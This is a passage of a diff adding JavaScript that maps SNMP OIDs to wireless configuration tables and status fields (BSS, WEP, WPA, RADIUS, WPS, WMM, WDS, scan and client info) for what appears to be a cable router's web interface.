"1.3.6.1.4.1.4115.1.20.1.1.1.19.2.1.1",66); +RouterSoftGreSSIDTable.SoftGreVLanPriority = new Column("SoftGreVLanPriority", "1.3.6.1.4.1.4115.1.20.1.1.1.19.2.1.2",66); + +var arGreSSIDSoftGreVLanId=RouterSoftGreSSIDTable.SoftGreVLanId; +var arGreSSIDSoftGreVLanPriority=RouterSoftGreSSIDTable.SoftGreVLanPriority; + + +var BSSTable = new Table("BSSTable", "1.3.6.1.4.1.4115.1.20.1.1.3.22"); +BSSTable.BssID = new Column("BssID","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.1",4, 1); +BSSTable.BssSSID = new Column("BssSSID","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.2",4); +BSSTable.BssActive = new Column("BssActive","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.3",2); +BSSTable.BssSSIDBroadcast = new Column("BssSSIDBroadcast","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.4",2); +BSSTable.BssSecurityMode = new Column("BssSecurityMode","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.5",2); +BSSTable.BssAccessMode = new Column("BssAccessMode","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.6",2); +BSSTable.BssNetworkIsolate = new Column("BssNetworkIsolate","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.7",2); +BSSTable.BssMACAccessCount = new Column("BssMACAccessCount","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.8",66); +BSSTable.BssMACAccessClear = new Column("BssMACAccessClear","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.9",2); +BSSTable.BssWMMEnable = new Column("BssWMMEnable","1.3.6.1.4.1.4115.1.20.1.1.3.22.1.12",2); +var arBssID=BSSTable.BssID; +var arBssSSID=BSSTable.BssSSID; +var arBssActive=BSSTable.BssActive; +var arBssSSIDBroadcast=BSSTable.BssSSIDBroadcast; +var arBssSecurityMode=BSSTable.BssSecurityMode; +var arBssAccessMode=BSSTable.BssAccessMode; +var arBssNetworkIsolate=BSSTable.BssNetworkIsolate; +var arBssMACAccessCount=BSSTable.BssMACAccessCount; +var arBssMACAccessClear=BSSTable.BssMACAccessClear; +var arBssWMMEnable=BSSTable.BssWMMEnable; + +var WEPTable = new Table("WEPTable", "1.3.6.1.4.1.4115.1.20.1.1.3.23"); +WEPTable.WEPCurrentKey = new Column("WEPCurrentKey","1.3.6.1.4.1.4115.1.20.1.1.3.23.1.1",66); +WEPTable.WEPEncryptionMode = new Column("WEPEncryptionMode","1.3.6.1.4.1.4115.1.20.1.1.3.23.1.2",2); +WEPTable.WEPPassPhrase = new Column("WEPPassPhrase","1.3.6.1.4.1.4115.1.20.1.1.3.23.1.3",4); +var arWEPCurrentKey=WEPTable.WEPCurrentKey; +var arWEPEncryptionMode=WEPTable.WEPEncryptionMode; +var arWEPPassPhrase=WEPTable.WEPPassPhrase; + +var WEP64BitKeyTable = new Table("WEP64BitKeyTable", "1.3.6.1.4.1.4115.1.20.1.1.3.24"); +WEP64BitKeyTable.WEP64BitKeyIndex = new Column("WEP64BitKeyIndex","1.3.6.1.4.1.4115.1.20.1.1.3.24.1.1",2); +WEP64BitKeyTable.WEP64BitKeyValue = new Column("WEP64BitKeyValue","1.3.6.1.4.1.4115.1.20.1.1.3.24.1.2",4); +WEP64BitKeyTable.WEP64BitKeyStatus = new Column("WEP64BitKeyStatus","1.3.6.1.4.1.4115.1.20.1.1.3.24.1.3",2); +var arWEP64BitKeyIndex=WEP64BitKeyTable.WEP64BitKeyIndex; +var arWEP64BitKeyValue=WEP64BitKeyTable.WEP64BitKeyValue; +var arWEP64BitKeyStatus=WEP64BitKeyTable.WEP64BitKeyStatus; + +var WEP128BitKeyTable = new Table("WEP128BitKeyTable", "1.3.6.1.4.1.4115.1.20.1.1.3.25"); +WEP128BitKeyTable.WEP128BitKeyIndex = new Column("WEP128BitKeyIndex","1.3.6.1.4.1.4115.1.20.1.1.3.25.1.1",2); +WEP128BitKeyTable.WEP128BitKeyValue = new Column("WEP128BitKeyValue","1.3.6.1.4.1.4115.1.20.1.1.3.25.1.2",4); +WEP128BitKeyTable.WEP128BitKeyStatus = new Column("WEP128BitKeyStatus","1.3.6.1.4.1.4115.1.20.1.1.3.25.1.3",2); +var arWEP128BitKeyIndex=WEP128BitKeyTable.WEP128BitKeyIndex; +var arWEP128BitKeyValue=WEP128BitKeyTable.WEP128BitKeyValue; +var arWEP128BitKeyStatus=WEP128BitKeyTable.WEP128BitKeyStatus; + +var WPATable = new Table("WPATable", "1.3.6.1.4.1.4115.1.20.1.1.3.26"); +WPATable.WPAAlgorithm = new Column("WPAAlgorithm","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.1",2); +WPATable.WPAPreSharedKey = new Column("WPAPreSharedKey","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2",4); +WPATable.WPAGroupRekeyInterval = new Column("WPAGroupRekeyInterval","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.3",66); +WPATable.WPAReAuthInterval = new Column("WPAReAuthInterval","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.4",66); +WPATable.WPAPreAuthEnable = new Column("WPAPreAuthEnable","1.3.6.1.4.1.4115.1.20.1.1.3.26.1.5",2); +var arWPAAlgorithm=WPATable.WPAAlgorithm; +var arWPAPreSharedKey=WPATable.WPAPreSharedKey; +var arWPAGroupRekeyInterval=WPATable.WPAGroupRekeyInterval; +var arWPAReAuthInterval=WPATable.WPAReAuthInterval; +var arWPAPreAuthEnable=WPATable.WPAPreAuthEnable; + +var RadiusTable = new Table("RadiusTable", "1.3.6.1.4.1.4115.1.20.1.1.3.27"); +RadiusTable.RadiusAddressType = new Column("RadiusAddressType","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.1",2); +RadiusTable.RadiusAddress = new Column("RadiusAddress","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.2",4, 1); +RadiusTable.RadiusPort = new Column("RadiusPort","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.3",66); +RadiusTable.RadiusKey = new Column("RadiusKey","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.4",4); +RadiusTable.RadiusReAuthInterval = new Column("RadiusReAuthInterval","1.3.6.1.4.1.4115.1.20.1.1.3.27.1.5",66); +var arRadiusAddressType=RadiusTable.RadiusAddressType; +var arRadiusAddress=RadiusTable.RadiusAddress; +var arRadiusPort=RadiusTable.RadiusPort; +var arRadiusKey=RadiusTable.RadiusKey; +var arRadiusReAuthInterval=RadiusTable.RadiusReAuthInterval; + +var MACAccessTable = new Table("MACAccessTable", "1.3.6.1.4.1.4115.1.20.1.1.3.28"); +MACAccessTable.MACAccessIndex = new Column("MACAccessIndex","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.1",2); +MACAccessTable.MACAccessAddr = new Column("MACAccessAddr","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.2",4, 1); +MACAccessTable.MACAccessStatus = new Column("MACAccessStatus","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.3",2); +MACAccessTable.MACAccessDeviceName = new Column("MACAccessDeviceName","1.3.6.1.4.1.4115.1.20.1.1.3.28.1.4",4); +var arMACAccessIndex=MACAccessTable.MACAccessIndex; +var arMACAccessAddr=MACAccessTable.MACAccessAddr; +var arMACAccessStatus=MACAccessTable.MACAccessStatus; +var arMACAccessDeviceName=MACAccessTable.MACAccessDeviceName; + +var WMMCfg = new Container("WMMCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.29"); +WMMCfg.WMMEnable= new Scalar("WMMEnable","1.3.6.1.4.1.4115.1.20.1.1.3.29.1",2); +WMMCfg.WMMNoAck= new Scalar("WMMNoAck","1.3.6.1.4.1.4115.1.20.1.1.3.29.2",2); +WMMCfg.WMMAPSD= new Scalar("WMMAPSD","1.3.6.1.4.1.4115.1.20.1.1.3.29.3",2); +var arWMMEnable=WMMCfg.WMMEnable; +var arWMMNoAck=WMMCfg.WMMNoAck; +var arWMMAPSD=WMMCfg.WMMAPSD; + +var WMM50Cfg = new Container("WMM50Cfg", "1.3.6.1.4.1.4115.1.20.1.1.3.63"); +WMM50Cfg.WMM50Enable= new Scalar("WMM50Enable","1.3.6.1.4.1.4115.1.20.1.1.3.63.1",2); +WMM50Cfg.WMM50NoAck= new Scalar("WMM50NoAck","1.3.6.1.4.1.4115.1.20.1.1.3.63.2",2); +WMM50Cfg.WMM50APSD= new Scalar("WMM50APSD","1.3.6.1.4.1.4115.1.20.1.1.3.63.3",2); +var arWMM50Enable=WMM50Cfg.WMM50Enable; +var arWMM50NoAck=WMM50Cfg.WMM50NoAck; +var arWMM50APSD=WMM50Cfg.WMM50APSD; + +var WMMEDCAAPTable = new Table("WMMEDCAAPTable", "1.3.6.1.4.1.4115.1.20.1.1.3.29.4"); +WMMEDCAAPTable.WMMEDCAAPIndex = new Column("WMMEDCAAPIndex","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.1",2); +WMMEDCAAPTable.WMMEDCAAPCWmin = new Column("WMMEDCAAPCWmin","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.2",66); +WMMEDCAAPTable.WMMEDCAAPCWmax = new Column("WMMEDCAAPCWmax","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.3",66); +WMMEDCAAPTable.WMMEDCAAPAIFSN = new Column("WMMEDCAAPAIFSN","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.4",66); +WMMEDCAAPTable.WMMEDCAAPTxOpBLimit = new Column("WMMEDCAAPTxOpBLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.5",66); +WMMEDCAAPTable.WMMEDCAAPTxOpAGLimit = new Column("WMMEDCAAPTxOpAGLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.6",66); +WMMEDCAAPTable.WMMEDCAAPAdmitCont = new Column("WMMEDCAAPAdmitCont","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.7",2); +WMMEDCAAPTable.WMMEDCAAPDiscardOld = new Column("WMMEDCAAPDiscardOld","1.3.6.1.4.1.4115.1.20.1.1.3.29.4.1.8",2); +var arWMMEDCAAPIndex=WMMEDCAAPTable.WMMEDCAAPIndex; +var arWMMEDCAAPCWmin=WMMEDCAAPTable.WMMEDCAAPCWmin; +var arWMMEDCAAPCWmax=WMMEDCAAPTable.WMMEDCAAPCWmax; +var arWMMEDCAAPAIFSN=WMMEDCAAPTable.WMMEDCAAPAIFSN; +var arWMMEDCAAPTxOpBLimit=WMMEDCAAPTable.WMMEDCAAPTxOpBLimit; +var arWMMEDCAAPTxOpAGLimit=WMMEDCAAPTable.WMMEDCAAPTxOpAGLimit; +var arWMMEDCAAPAdmitCont=WMMEDCAAPTable.WMMEDCAAPAdmitCont; +var arWMMEDCAAPDiscardOld=WMMEDCAAPTable.WMMEDCAAPDiscardOld; + +var WMMEDCASTATable = new Table("WMMEDCASTATable", "1.3.6.1.4.1.4115.1.20.1.1.3.29.5"); +WMMEDCASTATable.WMMEDCASTAIndex = new Column("WMMEDCASTAIndex","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.1",2); +WMMEDCASTATable.WMMEDCASTACWmin = new Column("WMMEDCASTACWmin","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.2",66); +WMMEDCASTATable.WMMEDCASTACWmax = new Column("WMMEDCASTACWmax","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.3",66); +WMMEDCASTATable.WMMEDCASTAAIFSN = new Column("WMMEDCASTAAIFSN","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.4",66); +WMMEDCASTATable.WMMEDCASTATxOpBLimit = new Column("WMMEDCASTATxOpBLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.5",66); +WMMEDCASTATable.WMMEDCASTATxAGLimit = new Column("WMMEDCASTATxAGLimit","1.3.6.1.4.1.4115.1.20.1.1.3.29.5.1.6",66); +var arWMMEDCASTAIndex=WMMEDCASTATable.WMMEDCASTAIndex; +var arWMMEDCASTACWmin=WMMEDCASTATable.WMMEDCASTACWmin; +var arWMMEDCASTACWmax=WMMEDCASTATable.WMMEDCASTACWmax; +var arWMMEDCASTAAIFSN=WMMEDCASTATable.WMMEDCASTAAIFSN; +var arWMMEDCASTATxOpBLimit=WMMEDCASTATable.WMMEDCASTATxOpBLimit; +var arWMMEDCASTATxAGLimit=WMMEDCASTATable.WMMEDCASTATxAGLimit; + +var WPSCfg = new Container("WPSCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.30"); +WPSCfg.WpsMode= new Scalar("WpsMode","1.3.6.1.4.1.4115.1.20.1.1.3.30.1",2); +WPSCfg.WpsConfigState= new Scalar("WpsConfigState","1.3.6.1.4.1.4115.1.20.1.1.3.30.2",2); +WPSCfg.WpsDevicePIN= new Scalar("WpsDevicePIN","1.3.6.1.4.1.4115.1.20.1.1.3.30.3",4); +WPSCfg.WpsDeviceName= new Scalar("WpsDeviceName","1.3.6.1.4.1.4115.1.20.1.1.3.30.4",4); +WPSCfg.WpsModelName= new Scalar("WpsModelName","1.3.6.1.4.1.4115.1.20.1.1.3.30.5",4); +WPSCfg.WpsMfg= new Scalar("WpsMfg","1.3.6.1.4.1.4115.1.20.1.1.3.30.6",4); +WPSCfg.WpsResultStatus= new Scalar("WpsResultStatus","1.3.6.1.4.1.4115.1.20.1.1.3.30.7",2); +WPSCfg.WpsStatus= new Scalar("WpsStatus","1.3.6.1.4.1.4115.1.20.1.1.3.30.8",2); +WPSCfg.WpsConfigTimeout= new Scalar("WpsConfigTimeout","1.3.6.1.4.1.4115.1.20.1.1.3.30.9",2); +WPSCfg.WpsSTAPin= new Scalar("WpsSTAPin","1.3.6.1.4.1.4115.1.20.1.1.3.30.10",4); +WPSCfg.WpsPushButton= new Scalar("WpsPushButton","1.3.6.1.4.1.4115.1.20.1.1.3.30.11",2); +WPSCfg.WpsBoardNum= new Scalar("WpsBoardNum","1.3.6.1.4.1.4115.1.20.1.1.3.30.12",4); +WPSCfg.WpsModelNum= new Scalar("WpsModelNum","1.3.6.1.4.1.4115.1.20.1.1.3.30.13",4); +WPSCfg.WpsUUID= new Scalar("WpsUUID","1.3.6.1.4.1.4115.1.20.1.1.3.30.14",4); +var arWpsMode=WPSCfg.WpsMode; +var arWpsConfigState=WPSCfg.WpsConfigState; +var arWpsDevicePIN=WPSCfg.WpsDevicePIN; +var arWpsDeviceName=WPSCfg.WpsDeviceName; +var arWpsModelName=WPSCfg.WpsModelName; +var arWpsMfg=WPSCfg.WpsMfg; +var arWpsResultStatus=WPSCfg.WpsResultStatus; +var arWpsStatus=WPSCfg.WpsStatus; +var arWpsConfigTimeout=WPSCfg.WpsConfigTimeout; +var arWpsSTAPin=WPSCfg.WpsSTAPin; +var arWpsPushButton=WPSCfg.WpsPushButton; +var arWpsBoardNum=WPSCfg.WpsBoardNum; +var arWpsModelNum=WPSCfg.WpsModelNum; +var arWpsUUID=WPSCfg.WpsUUID; + +var WPSCfgEx = new Container("WPSCfgEx", "1.3.6.1.4.1.4115.1.20.1.1.3.30.15"); +WPSCfgEx.WpsMethodPin= new Scalar("WpsMethodPin","1.3.6.1.4.1.4115.1.20.1.1.3.30.15.2",2); +var arWpsMethodPin=WPSCfgEx.WpsMethodPin; + + +var WPS50Cfg = new Container("WPS50Cfg", "1.3.6.1.4.1.4115.1.20.1.1.3.65"); +WPS50Cfg.Wps50Mode= new Scalar("Wps50Mode","1.3.6.1.4.1.4115.1.20.1.1.3.65.1",2); +WPS50Cfg.Wps50ConfigState= new Scalar("Wps50ConfigState","1.3.6.1.4.1.4115.1.20.1.1.3.65.2",2); +WPS50Cfg.Wps50DevicePIN= new Scalar("Wps50DevicePIN","1.3.6.1.4.1.4115.1.20.1.1.3.65.3",4,1); +WPS50Cfg.Wps50DeviceName= new Scalar("Wps50DeviceName","1.3.6.1.4.1.4115.1.20.1.1.3.65.4",4); +WPS50Cfg.Wps50ModelName= new Scalar("Wps50ModelName","1.3.6.1.4.1.4115.1.20.1.1.3.65.5",4); +WPS50Cfg.Wps50Mfg= new Scalar("Wps50Mfg","1.3.6.1.4.1.4115.1.20.1.1.3.65.6",4); +WPS50Cfg.Wps50ResultStatus= new Scalar("Wps50ResultStatus","1.3.6.1.4.1.4115.1.20.1.1.3.65.7",2); +WPS50Cfg.Wps50Status= new Scalar("Wps50Status","1.3.6.1.4.1.4115.1.20.1.1.3.65.8",2); +WPS50Cfg.Wps50ConfigTimeout= new Scalar("Wps50ConfigTimeout","1.3.6.1.4.1.4115.1.20.1.1.3.65.9",2); +WPS50Cfg.Wps50STAPin= new Scalar("Wps50STAPin","1.3.6.1.4.1.4115.1.20.1.1.3.65.10",4,1); +WPS50Cfg.Wps50PushButton= new Scalar("Wps50PushButton","1.3.6.1.4.1.4115.1.20.1.1.3.65.11",2); +WPS50Cfg.Wps50UUID= new Scalar("Wps50UUID","1.3.6.1.4.1.4115.1.20.1.1.3.65.14",4,1); +var arWps50Mode=WPS50Cfg.Wps50Mode; +var arWps50ConfigState=WPS50Cfg.Wps50ConfigState; +var arWps50DevicePIN=WPS50Cfg.Wps50DevicePIN; +var arWps50DeviceName=WPS50Cfg.Wps50DeviceName; +var arWps50ModelName=WPS50Cfg.Wps50ModelName; +var arWps50Mfg=WPS50Cfg.Wps50Mfg; +var arWps50ResultStatus=WPS50Cfg.Wps50ResultStatus; +var arWps50Status=WPS50Cfg.Wps50Status; +var arWps50ConfigTimeout=WPS50Cfg.Wps50ConfigTimeout; +var arWps50STAPin=WPS50Cfg.Wps50STAPin; +var arWps50PushButton=WPS50Cfg.Wps50PushButton; +var arWps50UUID=WPS50Cfg.Wps50UUID; + +var WPS50CfgEx = new Container("WPSCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.65.15"); +WPS50CfgEx.WpsMethodPin= new Scalar("WpsMode","1.3.6.1.4.1.4115.1.20.1.1.3.65.15.2",2); +var arWps50MethodPin=WPS50CfgEx.WpsMethodPin; + + +var WDSCfg = new Container("WDSCfg", "1.3.6.1.4.1.4115.1.20.1.1.3.31"); +WDSCfg.WDSEnable= new Scalar("WDSEnable","1.3.6.1.4.1.4115.1.20.1.1.3.31.1",2); +WDSCfg.WDSTableFreeIdx= new Scalar("WDSTableFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.3.31.2",2); +var arWDSEnable=WDSCfg.WDSEnable; +var arWDSTableFreeIdx=WDSCfg.WDSTableFreeIdx; + +var WDSBridgeTable = new Table("WDSBridgeTable", "1.3.6.1.4.1.4115.1.20.1.1.3.31.3"); +WDSBridgeTable.WDSBridgeIndex = new Column("WDSBridgeIndex","1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.1",2); +WDSBridgeTable.WDSBridgeAddr = new Column("WDSBridgeAddr","1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.2",4,1); +WDSBridgeTable.WDSBridgeStatus = new Column("WDSBridgeStatus","1.3.6.1.4.1.4115.1.20.1.1.3.31.3.1.3",2); +var arWDSBridgeIndex=WDSBridgeTable.WDSBridgeIndex; +var arWDSBridgeAddr=WDSBridgeTable.WDSBridgeAddr; +var arWDSBridgeStatus=WDSBridgeTable.WDSBridgeStatus; + +var WiFiScan = new Container("WiFiScan", "1.3.6.1.4.1.4115.1.20.1.1.3.39"); +WiFiScan.WiFiStartScan= new Scalar("WiFiStartScan","1.3.6.1.4.1.4115.1.20.1.1.3.39.1",2); +WiFiScan.WiFiScanResult= new Scalar("WiFiScanResult","1.3.6.1.4.1.4115.1.20.1.1.3.39.2",2); +var arWiFiStartScan=WiFiScan.WiFiStartScan; +var arWiFiScanResult=WiFiScan.WiFiScanResult; + +var WiFiScanResultTable = new Table("WiFiScanResultTable", "1.3.6.1.4.1.4115.1.20.1.1.3.39.3"); +WiFiScanResultTable.WiFiScanIndex = new Column("WiFiScanIndex","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.1",66); +WiFiScanResultTable.WiFiScanSSID = new Column("WiFiScanSSID","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.2",4,1); +WiFiScanResultTable.WiFiScanChannel = new Column("WiFiScanChannel","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.3",66); +WiFiScanResultTable.WiFiScanChannel2 = new Column("WiFiScanChannel2","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.4",66); +WiFiScanResultTable.WiFiScanRSSI = new Column("WiFiScanRSSI","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.5",2); +WiFiScanResultTable.WiFiScanNoise = new Column("WiFiScanNoise","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.6",2); +WiFiScanResultTable.WiFiScanMAC = new Column("WiFiScanMAC","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.7",4,1); +WiFiScanResultTable.WiFiScanMfg = new Column("WiFiScanMfg","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.8",4); +WiFiScanResultTable.WiFiScanSupportedRates = new Column("WiFiScanSupportedRates","1.3.6.1.4.1.4115.1.20.1.1.3.39.3.1.9",4); +var arWiFiScanIndex=WiFiScanResultTable.WiFiScanIndex; +var arWiFiScanSSID=WiFiScanResultTable.WiFiScanSSID; +var arWiFiScanChannel=WiFiScanResultTable.WiFiScanChannel; +var arWiFiScanChannel2=WiFiScanResultTable.WiFiScanChannel2; +var arWiFiScanRSSI=WiFiScanResultTable.WiFiScanRSSI; +var arWiFiScanNoise=WiFiScanResultTable.WiFiScanNoise; +var arWiFiScanMAC=WiFiScanResultTable.WiFiScanMAC; +var arWiFiScanMfg=WiFiScanResultTable.WiFiScanMfg; +var arWiFiScanSupportedRates=WiFiScanResultTable.WiFiScanSupportedRates; + +var WiFiClientInfoTable = new Table("WiFiClientInfoTable", "1.3.6.1.4.1.4115.1.20.1.1.3.42"); +WiFiClientInfoTable.WiFiClientInfoIndex = new Column("WiFiClientInfoIndex","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.1",2); +WiFiClientInfoTable.WiFiClientInfoIPAddrType = new Column("WiFiClientInfoIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.2",2); +WiFiClientInfoTable.WiFiClientInfoIPAddr = new Column("WiFiClientInfoIPAddr","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.3",4,1); +WiFiClientInfoTable.WiFiClientInfoIPAddrTextual = new Column("WiFiClientInfoIPAddrTextual","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.4",4); +WiFiClientInfoTable.WiFiClientInfoHostName = new Column("WiFiClientInfoHostName","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.5",4); +WiFiClientInfoTable.WiFiClientInfoMAC = new Column("WiFiClientInfoMAC","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.6",4,1); +WiFiClientInfoTable.WiFiClientInfoMACMfg = new Column("WiFiClientInfoMACMfg","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.7",4); +WiFiClientInfoTable.WiFiClientInfoStatus = new Column("WiFiClientInfoStatus","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.8",2); +WiFiClientInfoTable.WiFiClientInfoFirstSeen = new Column("WiFiClientInfoFirstSeen","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.9",4,1); +WiFiClientInfoTable.WiFiClientInfoLastSeen = new Column("WiFiClientInfoLastSeen","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.10",4,1); +WiFiClientInfoTable.WiFiClientInfoIdleTime = new Column("WiFiClientInfoIdleTime","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.11",2); +WiFiClientInfoTable.WiFiClientInfoInNetworkTime = new Column("WiFiClientInfoInNetworkTime","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.12",2); +WiFiClientInfoTable.WiFiClientInfoState = new Column("WiFiClientInfoState","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.13",4); +WiFiClientInfoTable.WiFiClientInfoFlags = new Column("WiFiClientInfoFlags","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.14",4,1); +WiFiClientInfoTable.WiFiClientInfoTxPkts = new Column("WiFiClientInfoTxPkts","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.15",2); +WiFiClientInfoTable.WiFiClientInfoTxFailures = new Column("WiFiClientInfoTxFailures","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.16",2); +WiFiClientInfoTable.WiFiClientInfoRxUnicastPkts = new Column("WiFiClientInfoRxUnicastPkts","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.17",2); +WiFiClientInfoTable.WiFiClientInfoRxMulticastPkts = new Column("WiFiClientInfoRxMulticastPkts","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.18",2); +WiFiClientInfoTable.WiFiClientInfoLastTxPktRate = new Column("WiFiClientInfoLastTxPktRate","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.19",2); +WiFiClientInfoTable.WiFiClientInfoLastRxPktRate = new Column("WiFiClientInfoLastRxPktRate","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.20",2); +WiFiClientInfoTable.WiFiClientInfoRateSet = new Column("WiFiClientInfoRateSet","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.21",4,1); +WiFiClientInfoTable.WiFiClientInfoRSSI = new Column("WiFiClientInfoRSSI","1.3.6.1.4.1.4115.1.20.1.1.3.42.1.22",2); +var arWiFiClientInfoIndex=WiFiClientInfoTable.WiFiClientInfoIndex; +var arWiFiClientInfoIPAddrType=WiFiClientInfoTable.WiFiClientInfoIPAddrType; +var arWiFiClientInfoIPAddr=WiFiClientInfoTable.WiFiClientInfoIPAddr; +var arWiFiClientInfoIPAddrTextual=WiFiClientInfoTable.WiFiClientInfoIPAddrTextual; +var arWiFiClientInfoHostName=WiFiClientInfoTable.WiFiClientInfoHostName; +var arWiFiClientInfoMAC=WiFiClientInfoTable.WiFiClientInfoMAC; +var arWiFiClientInfoMACMfg=WiFiClientInfoTable.WiFiClientInfoMACMfg; +var arWiFiClientInfoStatus=WiFiClientInfoTable.WiFiClientInfoStatus; +var arWiFiClientInfoFirstSeen=WiFiClientInfoTable.WiFiClientInfoFirstSeen; +var arWiFiClientInfoLastSeen=WiFiClientInfoTable.WiFiClientInfoLastSeen; +var arWiFiClientInfoIdleTime=WiFiClientInfoTable.WiFiClientInfoIdleTime; +var arWiFiClientInfoInNetworkTime=WiFiClientInfoTable.WiFiClientInfoInNetworkTime; +var arWiFiClientInfoState=WiFiClientInfoTable.WiFiClientInfoState; +var arWiFiClientInfoFlags=WiFiClientInfoTable.WiFiClientInfoFlags; +var arWiFiClientInfoTxPkts=WiFiClientInfoTable.WiFiClientInfoTxPkts; +var arWiFiClientInfoTxFailures=WiFiClientInfoTable.WiFiClientInfoTxFailures; +var arWiFiClientInfoRxUnicastPkts=WiFiClientInfoTable.WiFiClientInfoRxUnicastPkts; +var arWiFiClientInfoRxMulticastPkts=WiFiClientInfoTable.WiFiClientInfoRxMulticastPkts; +var arWiFiClientInfoLastTxPktRate=WiFiClientInfoTable.WiFiClientInfoLastTxPktRate; +var arWiFiClientInfoLastRxPktRate=WiFiClientInfoTable.WiFiClientInfoLastRxPktRate; +var arWiFiClientInfoRateSet=WiFiClientInfoTable.WiFiClientInfoRateSet; +var arWiFiClientInfoRSSI=WiFiClientInfoTable.WiFiClientInfoRSSI; + +var AdvanceWirelessStats = new Container("AdvanceWirelessStats", "1.3.6.1.4.1.4115.1.20.1.1.3.46"); +AdvanceWirelessStats.ResetCount= new Scalar("ResetCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.5",2); +AdvanceWirelessStats.TBTTCount= new Scalar("TBTTCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.6",2); +AdvanceWirelessStats.PMQOverflowCount= new Scalar("PMQOverflowCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.7",2); +AdvanceWirelessStats.PRTimeoutDropCount= new Scalar("PRTimeoutDropCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.8",2); +AdvanceWirelessStats.PSMWatchdogCount= new Scalar("PSMWatchdogCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.9",2); +AdvanceWirelessStats.PHYWatchdogCount= new Scalar("PHYWatchdogCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.10",2); +AdvanceWirelessStats.PRQEntriesHandled= new Scalar("PRQEntriesHandled","1.3.6.1.4.1.4115.1.20.1.1.3.46.11",2); +AdvanceWirelessStats.PRQUndirectedEntriesHandled= new Scalar("PRQUndirectedEntriesHandled","1.3.6.1.4.1.4115.1.20.1.1.3.46.12",2); +AdvanceWirelessStats.PRQBadEntriesHandled= new Scalar("PRQBadEntriesHandled","1.3.6.1.4.1.4115.1.20.1.1.3.46.13",2); +AdvanceWirelessStats.ATIMSuppressCount= new Scalar("ATIMSuppressCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.14",2); +AdvanceWirelessStats.BCNTemplateNotReadyCount= new Scalar("BCNTemplateNotReadyCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.15",2); +AdvanceWirelessStats.BCNTemplateNotReadyDoneCount= new Scalar("BCNTemplateNotReadyDoneCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.16",2); +AdvanceWirelessStats.LateTBTTDPCCount= new Scalar("LateTBTTDPCCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.17",2); +AdvanceWirelessStats.PktEngineUnicastRxFramesCount= new Scalar("PktEngineUnicastRxFramesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.18",2); +AdvanceWirelessStats.PktEngineMulticastRxFramesCount= new Scalar("PktEngineMulticastRxFramesCount","1.3.6.1.4.1.4115.1.20.1.1.3.46.19",2); 